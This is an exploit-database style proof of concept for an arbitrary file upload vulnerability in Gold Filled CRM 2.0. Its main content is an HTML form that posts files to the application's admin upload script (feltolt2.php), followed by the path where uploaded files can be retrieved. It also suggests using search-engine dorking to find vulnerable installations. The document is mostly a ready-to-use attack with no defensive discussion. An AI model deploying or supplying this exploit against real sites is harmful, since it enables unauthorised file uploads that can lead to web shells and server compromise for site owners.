Gold Filled CRM 2.0 Arbitrary File Upload

`====================================================================================================================================  
| # Title : Gold Filled CRM v 2.0 Remote File Upload vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit) |   
| # Vendor : https://codecanyon.net/ |   
| # Dork : |  
====================================================================================================================================  
  
poc :  
  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following html code upload your file remotely  
  
[+] infected file : /feltolt2.php .  
  
[+] This is the path where you will find your uploaded files ( product_images/original/)Exmpl : /product_images/original/index.svg  
  
[+] save code as poc.html .  
  
<br>  
<br>  
<br>  
<br>   
<div class="center-block kozep">  
<br>  
<br>  
<center>  
<h2>Képek felvitele</h2>  
<br>  
<br>Termék azonosítója : <br>  
<br>  
<form action="http://127.0.0.1/goldfilledhu/admin/feltolt2.php" method="post" enctype="multipart/form-data" action="http://127.0.0.1/goldfilledhu/admin/feltolt2.php"><input type="file" name="files[]" multiple="multiple" accept="image/*"><br>  
<input name="send" type="submit" value="Feltölt">  
<input name="send" type="submit" value="Vissza">  
</form>   
<br>  
<br></center>  
</div>   
</body>  
</html>  
  
Greetings to :=========================================================================================================================  
|  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |   
|  
=======================================================================================================================================  
`